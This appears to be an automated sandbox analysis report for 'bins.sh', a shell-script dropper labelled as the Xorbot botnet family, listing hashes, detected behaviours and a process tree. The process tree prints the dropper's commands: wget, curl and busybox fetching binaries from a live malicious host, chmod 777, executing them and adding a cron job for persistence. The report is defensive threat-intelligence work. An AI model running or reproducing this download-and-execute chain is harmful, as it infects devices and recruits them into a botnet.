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Analysis
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max time kernel
149s -
max time network
155s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
28/02/2025, 19:36
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
0d6abf13920f9568901114a1d17cdfd6
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SHA1
8f51702b2844fafb5952fa36d21c2b47de532b5f
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SHA256
7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb
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SHA512
0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795
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SSDEEP
192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot -
Xorbot family
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Contacts a large (582) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1527 chmod 1535 chmod 1543 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G 1528 bins.sh /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv 1536 bins.sh /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E 1544 bins.sh -
Renames itself 1 IoCs
pid Process 1545 bins.sh -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.gafb6P crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/26/cmdline bins.sh File opened for reading /proc/1181/cmdline bins.sh File opened for reading /proc/1569/cmdline bins.sh File opened for reading /proc/1573/cmdline bins.sh File opened for reading /proc/1235/cmdline bins.sh File opened for reading /proc/1631/cmdline bins.sh File opened for reading /proc/31/cmdline bins.sh File opened for reading /proc/1563/cmdline bins.sh File opened for reading /proc/1646/cmdline bins.sh File opened for reading /proc/1655/cmdline bins.sh File opened for reading /proc/1659/cmdline bins.sh File opened for reading /proc/1664/cmdline bins.sh File opened for reading /proc/13/cmdline bins.sh File opened for reading /proc/32/cmdline bins.sh File opened for reading /proc/184/cmdline bins.sh File opened for reading /proc/446/cmdline bins.sh File opened for reading /proc/492/cmdline bins.sh File opened for reading /proc/692/cmdline bins.sh File opened for reading /proc/1092/cmdline bins.sh File opened for reading /proc/1513/cmdline bins.sh File opened for reading /proc/423/cmdline bins.sh File opened for reading /proc/532/cmdline bins.sh File opened for reading /proc/1557/cmdline bins.sh File opened for reading /proc/1583/cmdline bins.sh File opened for reading /proc/1599/cmdline bins.sh File opened for reading /proc/1625/cmdline bins.sh File opened for reading /proc/1634/cmdline bins.sh File opened for reading /proc/1662/cmdline bins.sh File opened for reading /proc/183/cmdline bins.sh File opened for reading /proc/1305/cmdline bins.sh File opened for reading /proc/1358/cmdline bins.sh File opened for reading /proc/1586/cmdline bins.sh File opened for reading /proc/1600/cmdline bins.sh File opened for reading /proc/1612/cmdline bins.sh File opened for reading /proc/1648/cmdline bins.sh File opened for reading /proc/1645/cmdline bins.sh File opened for reading /proc/1647/cmdline bins.sh File opened for reading /proc/212/cmdline bins.sh File opened for reading /proc/488/cmdline bins.sh File opened for reading /proc/1182/cmdline bins.sh File opened for reading /proc/1319/cmdline bins.sh File opened for reading /proc/1584/cmdline bins.sh File opened for reading /proc/1610/cmdline bins.sh File opened for reading /proc/1636/cmdline bins.sh File opened for reading /proc/1653/cmdline bins.sh File opened for reading /proc/18/cmdline bins.sh File opened for reading /proc/137/cmdline bins.sh File opened for reading /proc/1591/cmdline bins.sh File opened for reading /proc/1641/cmdline bins.sh File opened for reading /proc/1656/cmdline bins.sh File opened for reading /proc/1660/cmdline bins.sh File opened for reading /proc/171/cmdline bins.sh File opened for reading /proc/186/cmdline bins.sh File opened for reading /proc/211/cmdline bins.sh File opened for reading /proc/1042/cmdline bins.sh File opened for reading /proc/1265/cmdline bins.sh File opened for reading /proc/1553/cmdline bins.sh File opened for reading /proc/1581/cmdline bins.sh File opened for reading /proc/9/cmdline bins.sh File opened for reading /proc/21/cmdline bins.sh File opened for reading /proc/495/cmdline bins.sh File opened for reading /proc/1558/cmdline bins.sh File opened for reading /proc/1585/cmdline bins.sh File opened for reading /proc/1587/cmdline bins.sh -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1519 wget 1526 busybox 1531 wget 1532 curl 1540 curl 1542 busybox 1554 wget 1524 curl 1534 busybox 1539 wget -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G busybox File opened for modification /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv wget File opened for modification /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv curl File opened for modification /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E busybox File opened for modification /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G wget File opened for modification /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G curl File opened for modification /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv busybox File opened for modification /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E wget File opened for modification /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1517 -
/bin/rm/bin/rm bins.sh2⤵PID:1518
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1519
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1524
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1526
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/bin/chmodchmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- File and Directory Permissions Modification
PID:1527
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/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:1528
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/bin/rmrm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵PID:1530
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1531
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1532
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1534
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/bin/chmodchmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- File and Directory Permissions Modification
PID:1535
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/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:1536
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/bin/rmrm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵PID:1538
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1539
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1540
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1542
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/bin/chmodchmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- File and Directory Permissions Modification
PID:1543
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/usr/bin/crontabcrontab -l2⤵PID:1547
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1549
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/bin/rmrm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵PID:1551
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- System Network Configuration Discovery
PID:1554
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
210B
MD5194f428bf4b2053949dda8239382bddb
SHA1e924375e62c84b7b6876db99d41c20ba71ef516a
SHA2569a72c90f03d0974722af9c940b2317ff5d2c09a1daa07df1517753025b22a2fd
SHA512450ee91c50ea1d6c0ceb73e51fa40cbc5b111c756224ae7218f5ad0ca09f8901a718cd67b941d6410965ceaa9867ca3da66bad0c439a261c1875984bfd1f862b